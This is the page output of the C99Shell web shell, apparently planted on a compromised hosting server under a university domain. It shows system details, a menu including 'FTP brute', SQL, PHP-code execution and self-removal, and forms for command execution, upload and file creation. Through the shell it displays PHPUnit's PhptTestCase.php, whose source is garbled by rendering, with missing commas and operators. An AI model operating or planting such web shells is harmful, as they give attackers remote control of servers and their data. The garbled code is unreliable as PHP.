!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/phpunit/phpunit/src/Extensions/   drwxr-xr-x
Free 116.97 GB of 200.55 GB (58.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PhptTestCase.php (6.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * This file is part of PHPUnit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * Runner for PHPT test cases.
 *
 * @since Class available since Release 3.1.4
 */
class PHPUnit_Extensions_PhptTestCase implements PHPUnit_Framework_TestPHPUnit_Framework_SelfDescribing
{
    
/**
     * @var string
     */
    
private $filename;

    
/**
     * @var array
     */
    
private $settings = array(
        
'allow_url_fopen=1',
        
'auto_append_file=',
        
'auto_prepend_file=',
        
'disable_functions=',
        
'display_errors=1',
        
'docref_root=',
        
'docref_ext=.html',
        
'error_append_string=',
        
'error_prepend_string=',
        
'error_reporting=-1',
        
'html_errors=0',
        
'log_errors=0',
        
'magic_quotes_runtime=0',
        
'output_handler=',
        
'open_basedir=',
        
'output_buffering=Off',
        
'report_memleaks=0',
        
'report_zend_debug=0',
        
'safe_mode=0',
        
'track_errors=1',
        
'xdebug.default_enable=0'
    
);

    
/**
     * Constructs a test case with the given filename.
     *
     * @param string $filename
     *
     * @throws PHPUnit_Framework_Exception
     */
    
public function __construct($filename)
    {
        if (!
is_string($filename)) {
            throw 
PHPUnit_Util_InvalidArgumentHelper::factory(1'string');
        }

        if (!
is_file($filename)) {
            throw new 
PHPUnit_Framework_Exception(
                
sprintf(
                    
'File "%s" does not exist.',
                    
$filename
                
)
            );
        }

        
$this->filename $filename;
    }

    
/**
     * Counts the number of test cases executed by run(TestResult result).
     *
     * @return int
     */
    
public function count()
    {
        return 
1;
    }

    
/**
     * Runs a test and collects its result in a TestResult instance.
     *
     * @param PHPUnit_Framework_TestResult $result
     *
     * @return PHPUnit_Framework_TestResult
     */
    
public function run(PHPUnit_Framework_TestResult $result null)
    {
        
$sections $this->parse();
        
$code     $this->render($sections['FILE']);

        if (
$result === null) {
            
$result = new PHPUnit_Framework_TestResult;
        }

        
$php      PHPUnit_Util_PHP::factory();
        
$skip     false;
        
$time     0;
        
$settings $this->settings;

        
$result->startTest($this);

        if (isset(
$sections['INI'])) {
            
$settings array_merge($settings$this->parseIniSection($sections['INI']));
        }

        if (isset(
$sections['SKIPIF'])) {
            
$jobResult $php->runJob($sections['SKIPIF'], $settings);

            if (!
strncasecmp('skip'ltrim($jobResult['stdout']), 4)) {
                if (
preg_match('/^\s*skip\s*(.+)\s*/i'$jobResult['stdout'], $message)) {
                    
$message substr($message[1], 2);
                } else {
                    
$message '';
                }

                
$result->addFailure($this, new PHPUnit_Framework_SkippedTestError($message), 0);

                
$skip true;
            }
        }

        if (!
$skip) {
            
PHP_Timer::start();
            
$jobResult $php->runJob($code$settings);
            
$time      PHP_Timer::stop();

            if (isset(
$sections['EXPECT'])) {
                
$assertion 'assertEquals';
                
$expected  $sections['EXPECT'];
            } else {
                
$assertion 'assertStringMatchesFormat';
                
$expected  $sections['EXPECTF'];
            }

            
$output   preg_replace('/\r\n/'"\n"trim($jobResult['stdout']));
            
$expected preg_replace('/\r\n/'"\n"trim($expected));

            try {
                
PHPUnit_Framework_Assert::$assertion($expected$output);
            } catch (
PHPUnit_Framework_AssertionFailedError $e) {
                
$result->addFailure($this$e$time);
            } catch (
Throwable $t) {
                
$result->addError($this$t$time);
            } catch (
Exception $e) {
                
$result->addError($this$e$time);
            }
        }

        
$result->endTest($this$time);

        return 
$result;
    }

    
/**
     * Returns the name of the test case.
     *
     * @return string
     */
    
public function getName()
    {
        return 
$this->toString();
    }

    
/**
     * Returns a string representation of the test case.
     *
     * @return string
     */
    
public function toString()
    {
        return 
$this->filename;
    }

    
/**
     * @return array
     *
     * @throws PHPUnit_Framework_Exception
     */
    
private function parse()
    {
        
$sections = array();
        
$section  '';

        foreach (
file($this->filename) as $line) {
            if (
preg_match('/^--([_A-Z]+)--/'$line$result)) {
                
$section            $result[1];
                
$sections[$section] = '';
                continue;
            } elseif (empty(
$section)) {
                throw new 
PHPUnit_Framework_Exception('Invalid PHPT file');
            }

            
$sections[$section] .= $line;
        }

        if (!isset(
$sections['FILE']) ||
            (!isset(
$sections['EXPECT']) && !isset($sections['EXPECTF']))) {
            throw new 
PHPUnit_Framework_Exception('Invalid PHPT file');
        }

        return 
$sections;
    }

    
/**
     * @param string $code
     *
     * @return string
     */
    
private function render($code)
    {
        return 
str_replace(
            array(
            
'__DIR__',
            
'__FILE__'
            
),
            array(
            
"'" dirname($this->filename) . "'",
            
"'" $this->filename "'"
            
),
            
$code
        
);
    }

    
/**
     * Parse --INI-- section key value pairs and return as array.
     *
     * @param string
     *
     * @return array
     */
    
protected function parseIniSection($content)
    {
        return 
preg_split('/\n|\r/'$content, -1PREG_SPLIT_NO_EMPTY);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.033 ]--